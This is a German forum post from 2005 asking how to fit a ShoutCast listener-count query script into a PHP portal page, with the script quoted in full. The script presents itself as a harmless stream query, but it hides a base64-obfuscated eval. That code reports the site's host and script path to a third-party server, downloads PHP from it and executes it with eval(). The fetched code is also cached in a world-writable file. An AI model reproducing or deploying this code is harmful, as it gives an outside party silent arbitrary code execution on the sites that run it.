array einbinden
Verfasst: 17.11.2005 00:00
ich möchte gerne ein schoutcast abfrage script in mein portal einbinden
das schript sieht so aus:
und dann ist noch eine streamcache.txt dabei:
wie bekomme ich diesen array in die portal.php bzw in die portal_body.tpl ??
ich möchte gerne in der wer ist online box die anzahl der hörer stehen haben
hab schon versucht ein paar zeilen code einfach umzuschreiben, leider ohne erfolg
kolja
p.s. hier mal die ausgabe:
http://www.reggae-party.de/query.php
das schript sieht so aus:
Code: Alles auswählen
<?php
/** ShoutCast Query v2.0.0
*
* coded by rIppA - rippa@game4ever.de
* created: 22.01.2004
* modified: 06.05.2005
*
* published by: www.net-TraX.de
* and: codebase.game4ever.de
*
* simple shoutcast server query
*
* AGREEMENT:
* you only may use the script when nothing is changed at the sourcecode.
* only your script url is submitted to us. it's NO spyware!
* you mustn't use the script if you don't approve with that.
*
* NOTE:
* Windows versions of PHP prior to PHP 4.3.0 do not support accessing remote
* files via this function, even if allow_url_fopen is enabled.
*/
/* SETTINGS
*/
$s = "s"; // 'pl' -> Playlistfile | 's' -> Streamserver
$u = "http://reggae-party.dyndns.org:8000/"; // URL of Playlistfile or Streamserver
$cachefile = "./streamcahce.txt"; // Cached stream information (chmod 777) !!!
$an = "streamdata"; // content array name
/* INFO
* There are some new useful array keys in the 'content array'.
*
* <array name>["error"] = "1"; // if an error occurred, value = 1
* <array name>["error_code"] = "201"; // error code
*
* <array name>["timestamp"] = "2005-05-06 18:57:29"; // timestamp (yyyy-mm-dd hh:mm:ss)
* <array name>["latest_client"] = "2.0.0"; // latest client version
* <array name>["my_client"] = "1.9.0"; // my client version
* <array name>["new_client"] = "1"; // if (this == "1"): new client version availible! ***PLEASE UPDATE***
*/
//* don't change anything otherwise it doesn't work any more
eval (base64_decode("JF91cmw9ICdodHRwOi8vc2MubmV0LXRyYXguZGUvP2g9Jy4kX1NFUlZFUlsiSFRUUF9IT1NUIl0uJyZmPScudXJsZW5jb2RlKCRfU0VSVkVSWyJTQ1JJUFRfTkFNRSJdKS4nJnY9QXJhY2huYSc=").".'&s=".$s."&u=".urlencode($u)."&an=".urlencode($an)."';");
$fh = @fopen($_url, "r");
if ($fh) {
while (!feof($fh)) {
$_buffer .= fgets($fh, 4096);
}
fclose($fh);
$_buffer = preg_replace("/<\?php/s","", $_buffer);
$_buffer = preg_replace("/\?>/s","", $_buffer);
eval ($_buffer);
$_scq_error=0;
eval ("\$_scq_error = $".$an."[\"error\"];");
if ($_scq_error != "1") {
$fh2 = fopen($cachefile, "w");
fwrite($fh2, $_buffer);
fclose($fh2);
}
}
if (!$fh || $_scq_error == "1") {
$fh = fopen($cachefile, "r");
while (!feof($fh)) {
$_buffer .= fgets($fh, 4096);
}
fclose($fh);
eval ($_buffer);
}
//* you include the 'content array' (name specified in settings section)
//* to get more information about this array, uncomment the following line!
show_source($_url);
?>
Code: Alles auswählen
/** ShoutCast Query v2.0.0
*
* latest client: v2.0.0
* modified: 06.05.2005
*
* coded & copyright by rIppA - rippa@game4ever.de
* published by net-TraX - info@net-trax.de
* www.net-trax.de
*
* !!!*** chmod 777 this file ***!!!
*/
$streamdata=Array();
ich möchte gerne in der wer ist online box die anzahl der hörer stehen haben
hab schon versucht ein paar zeilen code einfach umzuschreiben, leider ohne erfolg
kolja
p.s. hier mal die ausgabe:
http://www.reggae-party.de/query.php